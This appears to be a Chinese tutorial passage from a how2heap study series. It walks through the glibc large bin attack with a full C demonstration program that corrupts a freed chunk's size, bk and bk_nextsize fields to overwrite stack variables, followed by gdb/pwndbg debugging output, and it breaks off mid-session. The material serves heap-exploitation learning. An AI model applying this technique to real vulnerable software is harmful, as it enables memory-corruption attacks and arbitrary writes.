how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
1.fastbins的large_bin攻击
根据原文描述跟 unsorted bin attack 实现的功能差不多https://blog.csdn.net/weixin_44626085/article/details/136105051,都是把一个地址的值改为一个很大的数
先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0
分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了
申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉
最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并
free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ 0x603360 <--> 0x603000 ]
现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]
free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <--> 0x6030a0 ]
假设有个漏洞,可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20
再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:
stack_var1 (0x7fffffffe590): 0x6037a0
stack_var2 (0x7fffffffe598): 0x6037a0
2.large_bin_attack 演示程序
#include<stdio.h>
#include<stdlib.h>
int main()
{
fprintf(stderr, "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n");
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "先来看一下目标:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x320);
fprintf(stderr, "分配第一个 large chunk: %p\n", p1 - 2);
fprintf(stderr, "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n");
malloc(0x20);
unsigned long *p2 = malloc(0x400);
fprintf(stderr, "申请第二个 large chunk 在: %p\n", p2 - 2);
fprintf(stderr, "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n");
malloc(0x20);
unsigned long *p3 = malloc(0x400);
fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);
fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
malloc(0x20);
free(p1);
free(p2);
fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90);
fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3);
fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");
fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
malloc(0x90);
fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}
3.调试large_bin_attack
3.1 获得可执行程序
gcc -g large_bin_attack .c -o large_bin_attack
3.2 第一次调试程序
root@pwn_test1604:/ctf/work/how2heap# gcc -g large_bin_attack .c -o large_bin_attack
root@pwn_test1604:/ctf/work/how2heap# gdb ./large_bin_attack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./large_bin_attack ...done.
pwndbg> r
Starting program: /ctf/work/how2heap/large_bin_attack
根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数
先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0
分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了
申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉
最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并
free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ 0x603360 <--> 0x603000 ]
现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]
free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <--> 0x6030a0 ]
假设有个漏洞,可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20
再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:
stack_var1 (0x7fffffffe590): 0x6037a0
stack_var2 (0x7fffffffe598): 0x6037a0
[Inferior 1 (process 157) exited normally]
pwndbg>
3.3 第二次调试程序
3.3.1 设置断点第32行并走起
该技术可用于修改任意地址的值,例如栈上的变量stack_var1和 stack_var2。在实践中常常作为其他漏洞利用的前奏,例如在fastbin attack 中用于修改全局变量global_max_fast为一个很大的值。
首先我们分配 chunk p1, p2 和 p3,并且在它们之间插入其他的 chunk 以防止在释放时被合并。
wndbg> b 32
Breakpoint 1 at 0x400850: file large_bin_attack .c, line 32.
pwndbg> r
Starting program: /ctf/work/how2heap/large_bin_attack
根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数
先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0
分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了
申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉
最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并
Breakpoint 1, main () at large_bin_attack .c:33
33 free(p1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x603bc0 ◂— 0x0
RBX 0x0
RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RDX 0x603bc0 ◂— 0x0
RDI 0x0
RSI 0x603be0 ◂— 0x0
R8 0x5f
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 ◂— 0x0
RIP 0x400850 (main+426) ◂— mov rax, qword ptr [rbp - 0x20]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400850 <main+426> mov rax, qword ptr [rbp - 0x20]
0x400854 <main+430> mov rdi, rax
0x400857 <main+433> call free@plt <0x400540>
0x40085c <main+438> mov rax, qword ptr [rbp - 0x18]
0x400860 <main+442> mov rdi, rax
0x400863 <main+445> call free@plt <0x400540>
0x400868 <main+450> mov rax, qword ptr [rbp - 0x18]
0x40086c <main+454> mov rax, qword ptr [rax]
0x40086f <main+457> mov rcx, rax
0x400872 <main+460> mov rax, qword ptr [rbp - 0x18]
0x400876 <main+464> lea rdx, [rax - 0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
28 fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);
29
30 fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
31 malloc(0x20);
32
► 33 free(p1);
34 free(p2);
35 fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p &